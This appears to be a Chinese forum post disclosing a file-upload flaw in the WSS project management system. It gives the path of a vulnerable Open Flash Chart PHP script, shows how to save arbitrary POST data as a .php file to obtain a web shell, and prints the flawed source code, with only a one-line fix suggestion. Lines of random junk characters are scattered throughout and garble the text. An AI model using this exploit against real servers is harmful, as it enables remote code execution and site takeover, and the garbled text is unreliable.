WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
' w3 ^# ]$ v( B  T8 K 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
: k; ^6 y# h) L! j/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
1 o, P* {. B! c1 ?5 J8 G# V3 m2 N" z
' g* b9 f8 p# L+ y& k" B- }) W, JPost任意数据
8 y; }# ?. a3 J% I% {- C保存位置http://localhost/chart/tmp-upload-images/hfy.php

$ J1 |) g; E  [* U$ _5 ^
- `: I, }0 [8 D* j% ]7 t0 j  w: N最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php
$ i; Q: `8 r# p; p) @4 [
% O% A! `( y( T# d. D//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
7 H- o5 I* r" b. E+ w$ k& l- c//

/*

print_r( $_GET );
/ p4 S( n: [; Eprint_r( $_POST );
print_r( $_FILES );
3 D/ e6 t( i  O  e4 C" P
print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
! j8 D* s# m5 ?' e( t7 s  b: R6 }  J
*/
1 f) ]) B# I5 s1 n& ~0 K" [  r// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
6 C" f: Z0 t# Z2 x
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
3 Q6 n2 C4 d# t1 S
2 ^. x( v: B/ @% Z' G% d// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
& a( M/ G3 m- k& z& z% S' D
; a- n. d3 V+ W5 X5 ]  _' zecho 'Saving your image to: '. $destination;
* S5 D& h& j% g// print_r( $_POST );
: S, u! b. U- E% p// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

& d1 n8 a1 t5 b+ }1 u$ k/ G//
  D: k5 n5 {* M' ]2 ?" D) X// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
5 ?2 I# d# _% r* Q3 x* |//

$jfh = fopen($destination, 'w') or die("can't open file");
$ C' [7 l; B. a3 b/ Rfwrite($jfh, $HTTP_RAW_POST_DATA);
' s# P% r3 a$ }% @3 a  z6 u; \fclose($jfh);

( v7 j+ P+ u$ J* _$ p( V8 c//
1 D1 W% m5 z: N3 u2 [// LOOK:
//
exit();
. `" h2 t2 y  G" B//
) C0 I& X& }3 ~7 v& y// PHP5:
//

8 g2 u5 _7 }- }7 n5 R
// default path for the image to be stored //
; A( N0 ^/ h  U/ B$default_path = 'tmp-upload-images/';
. i: {1 U5 u% N+ R
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
, C0 \+ k1 F2 |- t1 m* D5 W
3 \# K+ w9 u3 x) C+ W// full path to the saved image including filename //
% c# F2 W+ a/ d. \1 f$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
: [, s4 Y# u7 A/ Q* T} else {
  O: c8 V- h  R3 v/ U7 _0 l    echo "FILE UPLOAD FAILED";
9 r2 d7 B: t& ^* L' Z! E}
7 d% E* i! f& p2 y5 x' L% n* y4 N
+ v1 T: R" P* g" z3 {- U7 }; A
?>
1 H) O: k' t) A' u7 G6 A
, j. H$ b% v0 S( Y8 `* V
" W3 A5 _7 [) g: q/ \0 Y  M

7 p7 e5 @6 J5 v! R, T- z, a
  w) Z: n& J/ M& o
& I0 A1 Y; }8 c. f修复方案：
7 P9 S- a* Z  Y3 ]这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞


+ _- a/ C* S4 J6 T2 |7 m